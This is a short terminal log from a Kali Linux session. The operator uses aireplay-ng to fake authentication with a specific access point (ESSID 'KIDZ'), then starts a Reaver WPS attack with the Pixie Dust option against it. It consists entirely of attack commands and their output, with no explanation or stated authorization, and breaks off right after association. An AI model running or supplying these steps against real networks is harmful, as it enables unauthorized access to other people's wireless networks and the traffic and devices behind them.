root@kali:~# aireplay-ng -1 0 -a 6C:3B:6B:A2:EE:52 wlan0mon
No source MAC (-h) specified. Using the device MAC (11:FE:ED:32:EF:58)
10:57:05  Waiting for beacon frame (BSSID: 6C:3B:6B:A2:EE:52) on channel 4

10:57:06  Sending Authentication Request (Open System)

10:57:08  Sending Authentication Request (Open System)
10:57:08  Authentication successful
10:57:08  Sending Association Request

10:57:13  Sending Authentication Request (Open System)

10:57:15  Sending Authentication Request (Open System)
10:57:15  Authentication successful
10:57:15  Sending Association Request [ACK]
10:57:15  Association successful :-) (AID: 1)

root@kali:~# reaver -A -K -N -S -b 6C:3B:6B:A2:EE:52 -i wlan0mon

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

[+] Waiting for beacon from 6C:3B:6B:A2:EE:52
[+] Received beacon from 6C:3B:6B:A2:EE:52
[+] Associated with 6C:3B:6B:A2:EE:52 (ESSID: KIDZ)
[!] Found packet with bad FCS, skipping...